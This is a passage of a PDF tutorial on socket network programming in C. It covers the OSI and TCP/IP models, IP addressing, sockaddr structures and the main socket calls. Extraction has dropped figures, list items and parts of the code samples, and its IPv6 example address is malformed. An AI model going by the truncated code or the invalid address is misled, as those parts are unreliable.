The auto_ptr type is provided by the C++ standard library as a kind of a smart pointer that helps to avoid
resource leaks when exceptions are thrown.
Numeric types
In general have platform-dependent limits. The C++ standard library provides these limits in the template
numeric_limits. These numeric limits replace and supplement the ordinary preprocessor constants of C.
These constants are still available for integer types in <climits> and <limits.h>, and for floating-point types
in <cfloat> and <float.h>.
The new concept of numeric limits has two advantages: First, it offers more type safety. Second, it enables a
programmer to write templates that evaluate these limits.
Note, that it is always better to write platform-independent code by using the minimum guaranteed precision of the
types.
www.tenouk.com Page 5 of 6
Others
The algorithm library, header file <algorithm>, includes three auxiliary functions, one each for the selection of
the minimum and maximum of two values and one for the swapping of two values. These auxiliary functions
have been used in various program examples in part of tutorial.
Four template functions define the comparison operators!=, >, <=, and >= by calling the operators == and <.
These functions are defined in <utility>.
Don’t forget also other standard C++ header files such as <ios>, <locale>, <valarray>, <new>,
<memory>, <complex> etc.
-----------------------------------Anymore? No more-----------------------------------
---www.tenouk.com---
www.tenouk.com Page 6 of 6
MODULE 39
NETWORK PROGRAMMING
SOCKET PART I
Note: Program examples if any, compiled using gcc on Fedora 3 machine with several update, as normal user.
The Fedora machine used for the testing having the "No Stack Execute" disabled and the SELinux set to default
configuration.
Abilities
This Tutorial introduces a network programming using sockets. Some of the information is implementation specific
but all the program examples run on Fedora 3 and compiled using gcc. The following are topics that will be
covered.
- This background story tries to introduce the terms used in network programming and also to give you
the big picture.
- The following figure is a typical physical network devices connection.
Figure 1
www.tenouk.com Page 1 of 31
- Using a simple network shown in the above Figure, let trace the data stream flow from Network A to
Network B, by assuming that Network A is company A’s network and Network B is company B’s
network.
- Physically, the flow of the data stream is from a computer in Network A (source) will go through the
hub, switch and router.
- Then the stream travel through the carrier such as Public Switch Telephone Network (PSTN) and
leased line (copper, fiber or wireless – satellite) and finally reach Network B’s router, go through the
switch, hub and finally reach at the computer in company B (destination).
- And from the previous network devices layout, the OSI (Open System Interconnection) 7 layer stack
mapping is shown below.
Figure 2
- From the Application layer of a computer at company A go downward the layer until the Physical
(medium such as Cat 5 cable) layer, then exit Network A through the Network (router) layer in the
middle of the diagram.
- After traveling through the carrier, reaches at the Network (router) layer of company B, travels through
the Physical layer, goes upward until reaching at the Application layer of the computer at company B.
Actually, at company B (the destination), the data flows through the network devices in the reverse
manner compared to what happened at company A (the source).
- In contrast to TCP/IP, the OSI approach started from a clean slate and defined standards, adhering
tightly to their own model, using a formal committee process without requiring implementations.
- Internet protocols use a less formal but more practical engineering approach, where anybody can
propose and comment on Request For Comment (RFC) documents, and implementations are required
to verify feasibility.
- The OSI protocols developed slowly, and because running the full protocol stack is resource intensive,
they have not been widely deployed, especially in the desktop and small computer market.
- In the meantime, TCP/IP and the internet were developing rapidly, with deployment occurring at a very
high rate, which is why the TCP/IP suite becomes a de facto standard.
- The OSI layer and their brief functionalities are listed in the following Table.
www.tenouk.com Page 2 of 31
Table 1
- In the practical implementation, the standard used is based on TCP/IP stack. This TCP/IP stack is a de
facto standard, not a pure standard but it is widely used and adopted.
- The equivalent or mapping of the OSI and TCP/IP stack is shown below. It is divided into 4 layers.
The Session, Presentation and Application layers of OSI have been combined into one layer,
Application layer.
- Physical and data link layers also become one layer. Different books or documentations might use
different terms, but the 4 layers of TCP/IP are usually referred.
Figure 3
- In this Tutorial we will concentrate more on the Transport and Network layer of the TCP/IP stack.
- More detail TCP/IP stack with typical applications is shown below.
Figure 4
- The following figure is a TCP/IP architectural model. Frame, packet and message are same entity but
called differently at the different layer because there are data encapsulations at every layer.
www.tenouk.com Page 3 of 31
Figure 5
- The common applications that you encounter in your everyday use are:
- The user interfaces developed (programs) for the communication should depend on the platform.
Protocol
- In computing field, a protocol is a convention or standard rules that enables and controls the
connection, communication and data transfer between two computing endpoints.
- Protocols may be implemented by hardware, software, or a combination of the two. At the lowest
level, a protocol defines the behavior of a hardware connection.
- In term of controls, protocol may provide data transfer reliability, resiliency and integrity.
- An actual communication is defined by various communication protocols. In the context of data
communication, a network protocol is a formal set of rules, conventions and data structure that governs
how computers and other network devices exchange information over a network.
- In other words, protocol is a standard procedure and format that two data communication devices must
understand, accept and use to be able to talk to each other.
- A wide variety of network protocols exist, which are defined by many standard organizations
worldwide and technology vendors over years of technology evolution and developments.
- One of the most popular network protocol suites is TCP/IP, which is the heart of internetworking
communications.
www.tenouk.com Page 4 of 31
▪ User Datagram Protocol is defined by RFC-768.
▪ UDP provides datagram service that is a packet based.
▪ Connectionless.
▪ Unreliable.
▪ E.g.: NFS, TFTP.
Port numbers
- Normally, server port numbers are low numbers in the range 1 – 1023 and normally assign for root
(Administrator) only.
- It is used for authentication e.g. rlogin.
- And normally, client port numbers are higher numbers starting at 1024.
- A server running on a well-known port lets the OS know what port it wants to listen on.
- Whereas a client normally simply lets the operating system picks a new port that isn’t already in use.
Numeric IP Addresses
131.95.115.204
IP Address Classes
192.168.1.100
xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
Byte 1.Byte 2.Byte 3.Byte 4
Class and Network size Range (decimal) Network ID Host ID
Class A (Large) 1 -127 Byte 1 Bytes 2, 3, 4
Class B (Medium) 128 – 191 Bytes 1, 2 Bytes 3, 4
Class C (Small) 192 – 223 Bytes 1, 2, 3 Bytes 4
Table 2
- The first four bits (bits 0-3) of an address determine its class:
0xxx = class A
bits 1-7 define a network.
bits 8-31 define a host on that network.
128 networks with 16 million hosts.
10xx = class B
bits 2-15 define a network.
bits 16-31 define a host on that network.
16384 networks with 65536 hosts.
110x = class C
bits 3-23 define a network.
bits 24-31 define a host on that network.
www.tenouk.com Page 5 of 31
2 million networks with 256 hosts.
Table 3
- The IP network portion can represent a very large network that may spans multiple geographic sites.
- To make this situation easier to manage, you can use subnetworks. Subnetworks use the two parts of
the address to define a set of IP addresses that are treated as group. The subnetting divides the address
into smaller networks.
- You configure a subnetwork by defining a mask, which is a series of bits. Then, the system performs a
logical AND operation on these bits and the IP address.
- The 1 bit defines the subnetwork portion of the IP address (which must include at least the network
portion). The 0 bits define the host portion.
- Class D is a multicast address and class E is reserved.
- As a summary:
Figure 6
- Nowadays we use classless IP address. That means we subnet the class type IP into smaller subnet or
smaller group of IP addresses creating smaller networks.
- Before the IPV4 run out of the IP addresses, now we have IPV6 with 128 bits.
Ethernet Addresses
- In Local Area Network (LAN) we have several network types such as Ethernet and Token Ring.
- The most widely used is Ethernet.
- Each Ethernet interface (Network Interface Card -NIC) has a unique Ethernet address provided by the
manufacturer, hard coded into the NIC, normally called Media Access Control (MAC) or physical
address.
- Ethernet addresses are 6 bytes shown as 6 hexadecimal values separated by colons.
- For example: 00:C0:F0:1F:3C:27.
- You can see this MAC address by issuing the arp command as shown below:
www.tenouk.com Page 6 of 31
Figure 7
IPv6
69DC:88F4:FFFF:0:ABCD:DBAC:1234:FBCD:A12B::F6
- New service types exist to accommodate IPv6 such as multimedia and wireless.
- For Windows Xp and above, you can try the ipv6 command at prompt to view and/or set the IPv6
configuration. For example: ipv6 if.
Distributed Applications
- The goal is to hide the fact that the application is distributed other than to provide the redundancy for
reliability.
- User interfaces can look identical.
- Typically data resides on remote systems.
- In many instances, remote users interact with each other.
Application Protocols
E.g. telnet:
www.tenouk.com Page 7 of 31
▪ Server waits for a client request.
▪ Client requests a service from server.
▪ Is a connectionless.
▪ A single socket can send and receive packets from many different computers.
▪ Best effort delivery.
▪ Some packets may be lost some packets may arrive out of order.
▪ Is a connection-oriented.
▪ A client must connect a socket to a server.
▪ TCP socket provides bidirectional channel between client and server.
▪ Lost data is re-transmitted.
▪ Data is delivered in-order.
▪ Data is delivered as a stream of bytes.
▪ TCP uses flow control.
- It is simple for a single UDP server to accept data from multiple clients and reply.
- It is easier to cope with network problems using TCP.
- A stateful server remembers client data (state) from one request to the next.
- A stateless server keeps no state information.
- Using a stateless file server, the client must:
- Using a stateful file server, the client can send less data with each request.
- A stateful server is simpler.
- On the other hand a stateless server is:
▪ More robust.
▪ Lost connections can't leave a file in an invalid state.
▪ Rebooting the server does not lose state information because there is no state information hold.
▪ Rebooting the client does not confuse a stateless server.
Concurrent Processing
Concurrency
www.tenouk.com Page 8 of 31
- Real or apparent simultaneous processing.
- Time-sharing: a single CPU switches from 1 process to the next.
- Multiprocessing: multiple CPUs handle processes.
Network Concurrency
Server Concurrency
Programs vs Processes
/*testpid.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
www.tenouk.com Page 9 of 31
- Parent should wait for child to exit.
Time slicing
int execve(const char *file, char *const argv [], char *const envp[]);
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
Context Switching
Asynchronous I/O
- Asynchronous I/O means allowing a process to start an I/O operation and proceeding with other work
while the I/O occurs.
- UNIX I/O occurs asynchronously if you use select().
- A process asks the select() system call to tell which of a collection of file descriptors is ready to
finish I/O.
- After calling select() the process can call read() or write() to perform I/O which is at that
time no more than a copying of data to/from kernel space with real I/O either already done or scheduled
for later.
- A server process can use select() to determine which of a collection of sockets it can read without
blocking.
Programming Interface
- API: routines supplied by the OS defining the interface between an application and the protocol
software.
- Better to avoid vendor-specific data format and features, use standard APIs for portability.
- The API only suggests required functionality and it depend on the implementation.
- For UNIX - socket (original Berkeley system calls) and TLI (Transport Layer Interface - AT&T UNIX
System V).
- For Apple Mac – MacTCP.
- For MS Windows – Winsock (quite similar to socket).
- There is also other TCP/IP APIs that implementation dependent.
- Unices TCP/IP APIs are kernel system calls.
- Mac and Windows using extension/drivers and dynamic link library (dll).
- In this Tutorial we will use socket APIs and in general socket refer to socket APIs that includes the
socket().
www.tenouk.com Page 10 of 31
- In fact the APIs just routines/functions in C language.
Required Functionality
System Calls
- An operating system should run user programs in a restricted mode i.e. user program should not do I/O
directly.
- User programs should make a system call to allow trusted code to perform I/O.
- In UNIX, functions like open(), read(), write(), close() are actually system calls.
- A UNIX system call is a transition from user mode to kernel mode.
- TCP/IP code is called through the system calls.
- Socket is an Application Programming Interface (API) used for Interprocess Communications (IPC).
- It is a well defined method of connecting two processes, locally or across a network.
- It is a Protocol and Language Independent.
- Often referred to as Berkeley Sockets or BSD Sockets.
- The following figure illustrates the example of client/server relationship of the socket APIs for
connection-oriented protocol (TCP).
www.tenouk.com Page 11 of 31
Figure 8
- The following figure illustrates the example of client/server relationship of the socket APIs for a
connectionless protocol (UDP).
Figure 9
www.tenouk.com Page 12 of 31
- Now the socket interface is a de facto standard.
- Sockets make the network look much like a file system.
Socket Descriptors
- UNIX open() yields a file descriptor: a small integer used to read/write a file.
- UNIX keeps a file descriptor table for each process an array of pointers to the data about the open files.
- A file descriptor is used to index the array.
- Sockets are added to this abstraction.
- The socket() system call returns a socket descriptor.
- Actually, files and sockets are accessed using the same table.
- The structure pointed to by a table entry has a field which tells whether it is a file or socket.
- In order to use a socket, the kernel needs to keep track of several pieces of data as the following:
Socket Endpoints
- There are other address families that you will find somewhere and sometime such as:
▪ AF_UNIX
▪ AF_NS
▪ AF_TELEPHONY
- The system uses this address family for communicating between two programs that are on the same
physical machine. The address is a path name to an entry that is in a hierarchical file system.
- Sockets with address family AF_UNIX use the sockaddr_un address structure:
www.tenouk.com Page 13 of 31
struct sockaddr_un {
short sun_family;
char sun_path[126];
};
- The sun_family field is the address family. The sun_path field is the pathname. The
<sys/un.h> header file contains the sockaddr_un address structure definition.
- For the AF_UNIX address family, protocol specifications do not apply because protocol standards are
not involved.
- The communications mechanism between the two processes on the same machine is specific to that
machine.
- This address family uses addresses that follow Novell or Xerox NS protocol definitions. It consists of a
4-byte network, a 6-byte host (node), and a 2-byte port number.
- Sockets with address family AF_NS use the sockaddr_ns address structure:
struct sockaddr_ns {
unsigned short sns_family;
struct ns_addr sns_addr;
char sns_zero[2];
};
- Telephony domain sockets (sockets that use the AF_TELEPHONY address family) permit the user to
initiate (dial) and complete (answer) telephone calls through an attached ISDN telephone network using
standard socket APIs.
- The sockets forming the endpoints of a connection in this domain are really the called (passive
endpoint) and calling (active endpoint) parties of a telephone call.
- The AF_TELEPHONY addresses are telephone numbers that consist of up to 40 digits (0 - 9), which are
contained in sockaddr_tel address structures.
- The system supports AF_TELEPHONY sockets only as connection-oriented (type SOCK_STREAM)
sockets.
- Keep in mind that a connection in the telephony domain provides no more reliability than that of the
underlying telephone connection. If guaranteed delivery is desired, you must accomplish this at the
application level, such as in fax applications that use this family.
- Sockets with address family AF_TELEPHONY use the sockaddr_tel address structure.
struct sockaddr_tel {
short stel_family;
struct tel_addr stel_addr;
char stel_zero[4];
};
- The telephony address consists of a 2-byte length followed by a telephone number of up to 40 digits (0
- 9).
struct tel_addr {
unsigned short t_len;
char t_addr[40];
};
- The stel_family field is the address family. The stel_addr field is the telephony address, and
stel_zero is a reserved field. The <nettel/tel.h> header file contains the tel_addr and
sockaddr_tel structure definitions.
Host IP Addresses
- Each computer on the Internet has one or more Internet addresses, numbers which identify that
computer among all those on the Internet.
www.tenouk.com Page 14 of 31
- Users typically write numeric host addresses as sequences of four numbers, separated by periods, as in
128.54.46.100.
- Each computer also has one or more host names, which are strings of words separated by periods, as in
www.google.com.
- Programs that let the user specify a host typically accept both numeric addresses and host names.
- But the program needs a numeric address to open a connection; to use a host name; you must convert it
to the numeric address it stands for.
- Each computer on the Internet has one or more Internet addresses, numbers which identify that
computer among all those on the Internet.
- An Internet host address is a number containing four bytes of data. These are divided into two parts, a
network number and a local network address number within that network.
- The network number consists of the first one, two or three bytes; the rest of the bytes are the local
address.
- Network numbers are registered with the Network Information Center (NIC), and are divided into three
classes as discussed before: class A, B, and C for the IPv4. The local network address numbers of
individual machines are registered with the administrator of the particular network.
- Since a single machine can be a member of multiple networks, it can have multiple Internet host
addresses.
- However, there is never supposed to be more than one machine with the same host address.
- There are four forms of the standard numbers-and-dots notation for Internet addresses as discussed
before:
a.b.c.d
This specifies all four bytes of the address individually.
a.b.c
The last part of the address, c, is interpreted as a 2-byte quantity. This is useful for specifying host
addresses in a Class B network with network address number a.b.
a.b
The last part of the address, c, is interpreted as a 3-byte quantity. This is useful for specifying host
addresses in a Class A network with network address number a.
a
If only one part is given, this corresponds directly to the host address number.
- Within each part of the address, the usual C conventions for specifying the radix apply. In other words,
a leading '0x' or '0X' implies hexadecimal radix; a leading '0' implies octal; and otherwise decimal
radix is assumed.
- Internet host addresses are represented in some contexts as integers (type unsigned long int).
- In other contexts, the integer is packaged inside a structure of type struct in_addr. It would be
better if the usages were made consistent, but it is not hard to extract the integer from the structure or
put the integer into a structure.
- The following basic definitions for Internet addresses appear in the header file 'netinet/in.h':
- This data type is used in certain contexts to contain an Internet host address. It has just one field,
named s_addr, which records the host address number as an unsigned long int.
- You can use this constant to stand for the ''address of this machine'' instead of finding its actual address.
- It is the Internet address '127.0.0.1', which is usually called 'localhost'. This special constant
saves you the trouble of looking up the address of your own machine.
www.tenouk.com Page 15 of 31
- Also, the system usually implements INADDR_LOOPBACK specially, avoiding any network traffic for
the case of one machine talking to itself.
- You can use this constant to stand for ''any incoming address'' when binding to an address.
- This is the usual address to give in the sin_addr member of struct sockaddr_in when you
want your server to accept Internet connections.
- These additional functions for manipulating Internet addresses are declared in 'arpa/inet.h'.
- They represent Internet addresses in network byte order; they represent network numbers and local-
address-within-network numbers in host byte order.
- This function converts the Internet host address name from the standard numbers-and-dots notation
into binary data and stores it in the struct in_addr that addr points to.
- inet_aton returns nonzero if the address is valid, zero if not.
- This function converts the Internet host address name from the standard numbers-and-dots notation
into binary data. If the input is not valid, inet_addr returns INADDR_NONE.
- This is an obsolete interface to inet_aton, described above; it is obsolete because INADDR_NONE
is a valid address (255.255.255.255), and inet_aton provides a cleaner way to indicate error
return.
- This function extracts the network number from the address name, given in the standard numbers-and-
dots notation. If the input is not valid, inet_network returns -1.
- This function converts the Internet host address addr to a string in the standard numbers-and-dots
notation. The return value is a pointer into a statically-allocated buffer.
- Subsequent calls will overwrite the same buffer, so you should copy the string if you need to save it.
- This function makes an Internet host address by combining the network number net with the local-
address-within-network number local.
- This function returns the local-address-within-network part of the Internet host address addr.
- This function returns the network number part of the Internet host address addr.
www.tenouk.com Page 16 of 31
- Besides the standard numbers-and-dots notation for Internet addresses, you can also refer to a host by a
symbolic name.
- The advantage of a symbolic name is that it is usually easier to remember. For example, the machine
with Internet address '128.52.46.32' is also known as 'testo.google.com'; and other machines
in the 'google.com' domain can refer to it simply as 'testo'.
- Internally, the system uses a database to keep track of the mapping between host names and host
numbers.
- This database is usually either the file '/etc/hosts' or an equivalent provided by a name/DNS
server. The functions and other symbols for accessing this database are declared in 'netdb.h'. They
are BSD features, defined unconditionally if you include 'netdb.h'.
- The IP address to name and vice versa is called name resolution. It is done by Domain Name Service.
Other than the hosts file, in Windows platform it is called DNS (Domain Name Service) and other
Microsoft specifics may use WINS or lmhost file.
- Keep in mind that the general term actually Domain Name System also has DNS acronym. In UNIX it
is done by BIND.
- The complete process or steps taken for name resolution quite complex but Windows normally use
DNS service and UNIX/Linux normally use BIND.
- This data type is used to represent an entry in the hosts database. It has the following members:
Table 5
- As far as the host database is concerned, each address is just a block of memory h_length bytes long.
- But in other contexts there is an implicit assumption that you can convert this to a struct in_addr
or an unsigned long int. Host addresses in a struct hostent structure are always given in
network byte order.
- You can use gethostbyname() or gethostbyaddr() to search the hosts database for
information about a particular host. The information is returned in a statically-allocated structure.
- You must copy the information if you need to save it across calls.
- The gethostbyname() function returns information about the host named name. If the lookup
fails, it returns a null pointer.
Function struct hostent * gethostbyaddr(const char *addr, int length, int format)
- The gethostbyaddr() function returns information about the host with Internet address addr.
The length argument is the size (in bytes) of the address at addr.
- format specifies the address format; for an Internet address, specify a value of AF_INET.
- If the lookup fails, gethostbyaddr() returns a null pointer.
www.tenouk.com Page 17 of 31
- If the name lookup by gethostbyname() or gethostbyaddr() fails, you can find out the
reason by looking at the value of the variable h_errno.
- Before using h_errno, you must declare it like this:
- Here are the error codes that you may find in h_errno:
h_errno Description
HOST_NOT_FOUND No such host is known in the data base.
This condition happens when the name server could not
TRY_AGAIN be contacted. If you try again later, you may succeed
then.
NO_RECOVERY A non-recoverable error occurred.
NO_ADDRESS
The host database contains an entry for the name, but it
doesn't have an associated Internet address.
Table 6
- You can also scan the entire hosts database one entry at a time using sethostent(),
gethostent(), and endhostent().
- Be careful in using these functions, because they are not re-entrant.
- This function opens the hosts database to begin scanning it. You can then call gethostent() to
read the entries.
- If the stayopen argument is nonzero, this sets a flag so that subsequent calls to
gethostbyname() or gethostbyaddr() will not close the database (as they usually would).
- This makes for more efficiency if you call those functions several times, by avoiding reopening the
database for each call.
- This function returns the next entry in the hosts database. It returns a null pointer if there are no
more entries.
- In this section and that follows we will discuss the socket APIs details: the structures, functions, macros
and types.
struct sockaddr
struct sockaddr {
u_char sa_len;
u_short sa_family; // address family, AF_xxx
char sa_data[14]; // 14 bytes of protocol address
};
1. The short integer that defines the address family (the value that is specified for address family
on the socket() call).
2. Fourteen bytes that are reserved to hold the address itself.
www.tenouk.com Page 18 of 31
- sa_data contains a destination address and port number for the socket. This is rather unwieldy since
you don’t want to tediously pack the address in the sa_data by hand.
- To deal with struct sockaddr, programmers created a parallel structure: struct
sockaddr_in ("in" for "Internet".)
struct sockaddr_in
struct sockaddr_in {
u_char sin_len;
u_short sin_family; //Address family
u_short sin_port; //Port number
struct in_addr sin_addr; //Internet or IP address
char sin_zero[8]; //Same size as struct sockaddr
};
- The sin_family field is the address family (always AF_INET for TCP and UDP).
- The sin_port field is the port number, and the sin_addr field is the Internet address. The
sin_zero field is reserved, and you must set it to hexadecimal zeroes.
- Data type struct in_addr - this data type is used in certain contexts to contain an Internet host
address. It has just one field, named s_addr, which records the host address number as an
unsigned long int.
- sockaddr_in is a "specialized" sockaddr.
- sin_addr could be u_long.
- sin_addr is 4 bytes and 8 bytes are unused.
- sockaddr_in is used to specify an endpoint.
- The sin_port and sin_addr must be in Network Byte Order.
socket()
NAME
socket() - create an endpoint for communication
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
bind()
NAME
bind() - bind a name to a socket
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
www.tenouk.com Page 19 of 31
int bind(int sockfd, struct sockaddr *my_addr, int addrlen);
int main()
{
int sockfd; /*socket file descriptor*/
struct sockaddr_in my_addr;
/*....other codes....*/
return 0;
}
- By setting my_addr.sin_port to zero, you are telling bind() to choose the port for you.
www.tenouk.com Page 20 of 31
- Likewise, by setting my_addr.sin_addr.s_addr to INADDR_ANY, you are telling it to
automatically fill in the IP address of the machine the process is running on.
- INADDR_ANY is actually zero. For 0.0.0.0, it means any IP.
int yes = 1;
/* "Address already in use" error message */
if(setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("setsockopt() error");
exit(1);
}
else
printf("setsockopt() is OK.\n");
- There are times when you won’t absolutely have to call bind(). If you are connect()ing to a
remote machine and you don’t care what your local port is (as is the case with telnet where you only
care about the remote port), you can simply call connect(), it’ll check to see if the socket is
unbound, and will bind() it to an unused local port if necessary.
- For the ports that has been blocked or closed by the firewall for security reason, you have to open it
for communication.
- And if the access to the port denied, you have to allow it.
- Standard ports with their respective services have been defined in /etc/protocol. You can define
ports for specific services by editing the /etc/protocol.
- Then with the newly defined ports, the new service is defined and created in /etc/xinetd.d.
Please check the man pages for xinetd service (inetd is the older one).
- The following section summarizes the sockets related function prototypes.
connect()
NAME
connect() - initiate a connection on a socket.
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
- sockfd is our friendly neighborhood socket file descriptor, as returned by the socket() call,
serv_addr is a struct sockaddr containing the destination port and IP address
- addrlen can be set to sizeof(struct sockaddr).
- As an example, for telnet client application, firstly, get a socket file descriptor. Then if no error, we are
ready to connect to remote host, let say "127.0.0.1" on port "23", the standard telnet port. For this
we need connect().
- Let’s have an example:
www.tenouk.com Page 21 of 31
#include <netinet/in.h>
if(sockfd == -1)
{
perror("Client-socket() error lol!");
exit(1);
}
else
printf("Client-socket() sockfd is OK...\n");
/*...other codes...*/
return 0;
}
- Again, be sure to check the return value from connect(). It will return -1 on error and set the
variable errno.
- Also, notice that we didn’t call bind(). Basically, we don’t care about our local port number; we
only care where we’re going to connect to that is the remote port.
- The kernel will choose a local port for us, and the site we connect to will automatically get this
information from us.
listen()
NAME
listen() - listen for connections on a socket
SYNOPSIS
#include <sys/socket.h>
- sockfd is the usual socket file descriptor from the socket() system call.
- backlog is the number of connections allowed on the incoming queue.
- As an example, for the server, if you want to wait for incoming connections and handle them in some
way, the steps are: first you listen(), then you accept().
- The incoming connections are going to wait in this queue until you accept() (explained later) them
and this is the limit on how many can queue up.
- Again, as per usual, listen() returns -1 and sets errno on error.
www.tenouk.com Page 22 of 31
- We need to call bind() before we call listen() or the kernel will have us listening on a random
port.
- So if you’re going to be listening for incoming connections, the sequence of system calls you’ll make is
something like this:
socket();
bind();
listen();
/*accept() goes here*/
accept()
NAME
accept() - accept a connection on a socket
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
int main()
{
/* listen on sock_fd, new connection on new_fd */
int sockfd, new_fd;
/* my address information, address where I run this program */
struct sockaddr_in my_addr;
/* remote address information */
struct sockaddr_in their_addr;
int sin_size;
www.tenouk.com Page 23 of 31
/* host byte order */
my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
/* auto-fill with my IP */
my_addr.sin_addr.s_addr = INADDR_ANY;
if(new_fd == -1)
perror("accept() error lol!");
else
printf("accept() is OK...\n");
/*.....other codes.......*/
close(new_fd);
close(sockfd);
return 0;
}
- Note that we will use the socket descriptor new_fd for all send() and recv() calls.
- If you’re only getting one single connection ever, you can close() the listening sockfd in order to
prevent more incoming connections on the same port, if you so desire.
send()
int send(int sockfd, const void *msg, int len, int flags);
- sockfd is the socket descriptor you want to send data to (whether it’s the one returned by socket()
or the new one you got with accept()).
- msg is a pointer to the data you want to send.
- len is the length of that data in bytes.
- Just set flags to 0. (See the send() man page for more information concerning flags).
- Some sample code might be:
- send() returns the number of bytes actually sent out and this might be less than the number you told
it to send.
www.tenouk.com Page 24 of 31
- Sometimes you tell it to send a whole gob of data and it just can’t handle it. It’ll fire off as much of the
data as it can, and trust you to send the rest later.
- Remember, if the value returned by send() doesn’t match the value in len, it’s up to you to send the
rest of the string.
- If the packet is small (less than 1K or so) it will probably manage to send the whole thing all in one go.
- Again, -1 is returned on error, and errno is set to the error number.
recv()
int recv(int sockfd, void *buf, int len, unsigned int flags);
- sockfd is the socket descriptor to read from, buf is the buffer to read the information into and len is
the maximum length of the buffer.
- flags can again be set to 0. See the recv() man page for flag information.
- recv() returns the number of bytes actually read into the buffer, or -1 on error (with errno set,
accordingly).
- If recv() return 0, this can mean only one thing that is the remote side has closed the connection on
you. A return value of 0 is recv()’s way of letting you know this has occurred.
- At this stage you can now pass data back and forth on stream sockets.
- These two functions send() and recv() are for communicating over stream sockets or connected
datagram sockets.
- If you want to use regular unconnected datagram sockets (UDP), you need to use the sendto() and
recvfrom().
- Or you can use more general, the normal file system functions, write() and read().
write()
NAME
write() - write to a file descriptor
SYNOPSIS
#include <unistd.h>
read()
NAME
read() - read from a file descriptor
SYNOPSIS
#include <unistd.h>
NAME
close() - close a file descriptor
SYNOPSIS
#include <unistd.h>
www.tenouk.com Page 25 of 31
int close(int sockfd);
- You can just use the regular UNIX file descriptor close() function:
close(sockfd);
- This will prevent any more reads and writes to the socket. Anyone attempting to read or write the
socket on the remote end will receive an error.
- UNIX keeps a count of the number of uses for an open file or device.
- Close decrements the use count. If the use count reaches 0, it is closed.
- Just in case you want a little more control over how the socket closes, you can use the shutdown()
function.
- It allows you to cut off communication in a certain direction, or both ways just like close() does.
- The prototype:
- sockfd is the socket file descriptor you want to shutdown, and how is one of the following:
- Since datagram sockets aren’t connected to a remote host, we need to give the destination address
before we send a packet. The prototype is:
int sendto(int sockfd, const void *msg, int len, unsigned int flags, const
struct sockaddr *to, int tolen);
- This call is basically the same as the call to send() with the addition of two other pieces of
information.
- to is a pointer to a struct sockaddr (which you’ll probably have as a struct
sockaddr_in and cast it at the last minute) which contains the destination IP address and port.
- tolen can simply be set to sizeof(struct sockaddr).
- Just like with send(), sendto() returns the number of bytes actually sent (which, again, might be
less than the number of bytes you told it to send!), or -1 on error.
- Equally similar are recv() and recvfrom(). The prototype of recvfrom() is:
int recvfrom(int sockfd, void *buf, int len, unsigned int flags, struct
sockaddr *from, int *fromlen);
- Again, this is just like recv() with the addition of a couple fields.
- from is a pointer to a local struct sockaddr that will be filled with the IP address and port of
the originating machine.
- fromlen is a pointer to a local int that should be initialized to sizeof(struct sockaddr).
When the function returns, fromlen will contain the length of the address actually stored in from.
recvfrom() returns the number of bytes received, or -1 on error (with errno set accordingly).
- Remember, if you connect() a datagram socket, you can then simply use send() and recv() for
all your transactions.
- The socket itself is still a datagram socket and the packets still use UDP, but the socket interface will
automatically add the destination and source information for you.
www.tenouk.com Page 26 of 31
socket()
connect()
while (x)
{
write()
read()
}
close()
socket()
bind()
listen()
while (1)
{
accept()
while (x)
{
read()
write()
}
close()
}
close()
- Little Endian and big Endian issue regarding the use of the different processors.
- Usually integers are either most-significant byte first or least-significant byte first.
- On Intel based machines the hex value 0x01020304 would be stored in 4 successive bytes as:
04, 03, 02, 01. This is little endian.
- On an Most Significant Bit (MSB)-first (big endian) machine (IBM RS6000), this would be: 01, 02, 03,
04.
- It is important to use network byte order (MSB-first) and the conversion functions are listed below:
Table 7
- And you have an IP address "10.12.110.57" that you want to store into it.
- The function you want to use, inet_addr(), converts an IP address in numbers-and-dots notation
into an unsigned long. The assignment can be made as follows:
ina.sin_addr.s_addr = inet_addr("10.12.110.57");
- Notice that inet_addr() returns the address in Network Byte Order already so you don’t have to
call htonl().
- Now, the above code snippet isn’t very robust because there is no error checking. inet_addr()
returns -1 on error.
- For binary numbers (unsigned)-1 just happens to correspond to the IP address
255.255.255.255! That’s the broadcast address! Remember to do your error checking properly.
- Actually, there’s a cleaner interface you can use instead of inet_addr(): it’s called inet_aton()
("aton" means "ascii to network"):
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int inet_aton(const char *cp, struct in_addr *inp);
www.tenouk.com Page 27 of 31
- And here’s a sample usage, while packing a struct sockaddr_in is shown below:
- inet_aton(), unlike practically every other socket-related function, returns non-zero on success,
and zero on failure. And the address is passed back in inp.
- Unfortunately, not all platforms implement inet_aton() so, although its use is preferred, normally
the older more common inet_addr() is used.
- All right, now you can convert string IP addresses to their binary representations. What about the other
way around?
- What if you have a struct in_addr and you want to print it in numbers-and-dots notation? In this
case, you’ll want to use the function inet_ntoa() ("ntoa" means "network to ascii") something
like this:
printf("%s", inet_ntoa(ina.sin_addr));
- That will print the IP address. Note that inet_ntoa() takes a struct in_addr as an argument,
not a long. Also notice that it returns a pointer to a char.
- This points to a statically stored char array within inet_ntoa() so that each time you call
inet_ntoa() it will overwrite the last IP address you asked for. For example:
- Will print:
address 1: 10.11.110.55
address 2: 10.11.110.55
- If you need to save the address, strcpy() it to your own character array.
---------------------------------------------------SOME SUMMARY----------------------------------------------
- System calls:
▪ Startup / close.
▪ Data transfer.
▪ Options control.
▪ Other.
- Network configuration lookup:
▪ Host address.
▪ Ports for services.
▪ Other.
- Utility functions:
▪ Data conversion.
▪ Address manipulation.
▪ Error handling.
www.tenouk.com Page 28 of 31
bind() Associate a socket with a port and address.
listen() Establish queue for connection requests.
accept() Accept a connection request.
connect() Initiate a connection to a remote host.
recv() Receive data from a socket descriptor.
send() Send data to a socket descriptor.
read() Reads from files, devices, sockets etc.
write() Writes to files, devices, sockets etc.
